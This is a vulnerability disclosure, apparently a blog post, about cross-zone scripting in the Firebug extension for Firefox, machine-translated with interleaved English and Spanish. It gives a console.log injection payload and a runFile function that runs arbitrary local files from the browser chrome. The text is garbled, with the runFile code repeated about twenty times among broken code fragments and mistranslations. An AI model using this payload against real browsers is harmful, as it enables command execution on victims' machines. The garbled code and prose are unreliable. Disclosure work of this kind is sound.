Firebug

Firebug es una muy potente depurador de JavaScript de Firefox. Tiene toneladas de características útiles como una dinámica de la consola, explorador de árbol DOM, CSS visor / editor de secuencia de comandos de explorador y mi favorito, un monitor de red donde pueda ver todos los Flash, XMLHttpRequest, JS e Imagen solicitudes.
Firebug se utiliza principalmente por desarrolladores web para encontrar fallos en su código, pero también se puede utilizar la seguridad de chicos como yo para encontrar y explorar distintas cliente-lado y del lado del servidor vulnerabilidades. Firebug is my best buddy. Firebug es mi mejor amigo.
Lamentablemente, Firebug sufre bastante simple pero muy peligrosa vulnerabilidad. En general, los navegadores todo lo posible para prevenir las vulnerabilidades comunes de paralizar en su código fuente. Sin embargo, ese no es el caso de las extensiones del navegador. Muy a menudo, la extensión del navegador autores no consideran los aspectos de seguridad de su trabajo, es decir, las extensiones no son cuidadosamente inspeccionados para vulnerabilidades de seguridad. Because of this, incidents occur. Debido a esto, se produzcan incidentes. IMHO, the next wave of browser attacks will target exactly this. En mi humilde opinión, la próxima ola de ataques navegador exactamente este objetivo.
In this post I am going to disclose a vulnerability for Firebug which can be used by attackers to gain control of every system where the Firebug extension is installed. En este post voy a revelar una vulnerabilidad Firebug para que puedan ser utilizados por los atacantes hacerse con el control de todo el sistema en el que está instalada la extensión Firebug. Of course, the user needs to visit a malicious page first, which means that the attack surface is greatly reduced. Por supuesto, las necesidades de los usuarios a visitar una página maliciosa en primer lugar, lo que significa que la superficie de ataque es muy reducido. However, given the fact that the largest user base of the Firefox browser are geeks and Firebug is a top extension at http://addons.mozilla.org , attackers can cause quite a lot of trouble. Sin embargo, dado el hecho de que la mayor base de usuarios del navegador Firefox son geeks y Firebug es una extensión superior a http://addons.mozilla.org, los atacantes pueden causar bastantes problemas.
The vulnerability is of a type Cross-zone or Cross-context scripting, where a script from a web pages is injected inside the zone of the browser, also know as the chrome, or in the zone of the file: protocol. La vulnerabilidad es de un tipo o zona de la Cruz-Cruz-marco de secuencias de comandos, donde una secuencia de comandos de una página web es inyectado dentro de la zona del navegador, también se conoce como el cromo, o en la zona del archivo: protocolo. In both cases the result is quite devastating, although the second is a bit less critical then the first. En ambos casos el resultado es bastante devastador, aunque la segunda es un poco menos crítica luego de la primera. Remote scripts in the browser are restricted by a sandbox. Remota de scripts en el navegador se ven limitadas por una caja de arena. This means that everything that is prefixed with http: or https: is secure. Esto significa que todo lo que se http:or con el prefijo https: es segura. Browser extensions make use of the chrome: protocol. Extensiones de explorador de hacer uso del cromo: protocolo. This protocol is not restricted at all and everything is allowed. Este protocolo no se limita en absoluto y todo está permitido. In that respect, browser extensions are trusted. En ese sentido, son extensiones del navegador de confianza. However if a remote script, tricks the browser into executing JavaScript expressions on chrome: then this script can take control of the entire chrome and also the underplaying operating system because then command execution and read/write file access operations are allowed. Sin embargo, si una secuencia de comandos remotos, trucos en el navegador la ejecución de JavaScript en las expresiones de cromo: a continuación, este script puede tomar el control de todo el cromo y el underplaying también porque en ese sistema operativo y la ejecución de comandos de lectura / escritura de archivos se permiten las operaciones de acceso.
In order to cause Cross-zone scripting in Firebug you need to do the following: Con el fin de causar la Cruz en la zona de scripting Firebug lo que tiene que hacer lo siguiente:
console.log({‘<script>alert(“bing!”)</script>’:'exploit’})
console.log (( ‘<script>
console.log({‘<script>alert(“bing!”)</script>’:'exploit’})
(
console.log({‘<script>alert(“bing!”)</script>’:'exploit’})
!”)</
console.log({‘<script>alert(“bing!”)</script>’:'exploit’})
Si pones esta expresión JavaScript en una página y abrirla con el navegador, mientras que Firebug está activado, se le pedirá con un cuadro de alerta. This is not very interesting but there is a lot more you can do then that. Esto no es muy interesante, pero hay mucho más que usted puede hacer después de que. For example, attackers can easily inject the following function into the browser chrome: Por ejemplo, los atacantes pueden inyectarse la siguiente función en el navegador de cromo:
function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }
(
function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }
= Components.classes [ "@ mozilla.org / file /
function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }
.
function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }
(Components.interfaces.nsILocalFile);
function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }
file.initWithPath
function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }
Components.classes
function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }
= [ "@ mozilla.org /
function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }
/
function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }
.
function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }
(Components.interfaces.nsIProcess);
function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }
process.init
function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }
= Array.prototype.slice.call
function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }
process.run
function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }
argv.length);
function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }
)
function runFile(f) { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(f); var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); process.init(file); var argv = Array.prototype.slice.call(arguments, 1); process.run(true, argv, argv.length); }
La función runFile permite la ejecución de archivos. With the function declaration in the browser chrome, attackers can call console.log a few more times to spawn any file they want or even silently install browser extensions, not to mention that they will be able to read and write the file system too. Con la declaración de la función en el navegador de cromo, los atacantes pueden llamar console.log unas cuantas veces para desovar cualquier archivo que desea instalar silenciosamente o incluso extensiones del navegador, por no hablar de que será capaz de leer y escribir el sistema de archivos también. The possibilities for evilness are endless. Las posibilidades son infinitas para la maldad.
There is a catch though. Hay una captura bien. The Cross-context scripting vector is very tiny. La Cruz-contexto de secuencia de comandos de vectores es muy pequeña. In order to exploit the vulnerability, I needed to go through some extreme things like dynamically composing the malicious payload in a string then evaluating the string content inside the chrome. Con el fin de explotar la vulnerabilidad, que tenía que pasar por algunas cosas como la extrema dinámica que componen la carga útil malicioso en una cadena a continuación, evaluar el contenido de la cadena en el interior del cromo. I wrote t w o Proof of Concepts that you can try out. Escribí No W o Prueba de Conceptos que se pueden probar.
It is highly recommended that you disable Firebug until this issue is fixed which I have no doubt that it will be quite soon. Es altamente recomendable que usted desactivar Firebug hasta que esta cuestión se ha fijado que no tengo ninguna duda de que será bastante pronto.
firebug-payload.js , firebug-payload.pc Firebug-payload.js, Firebug-payload.pc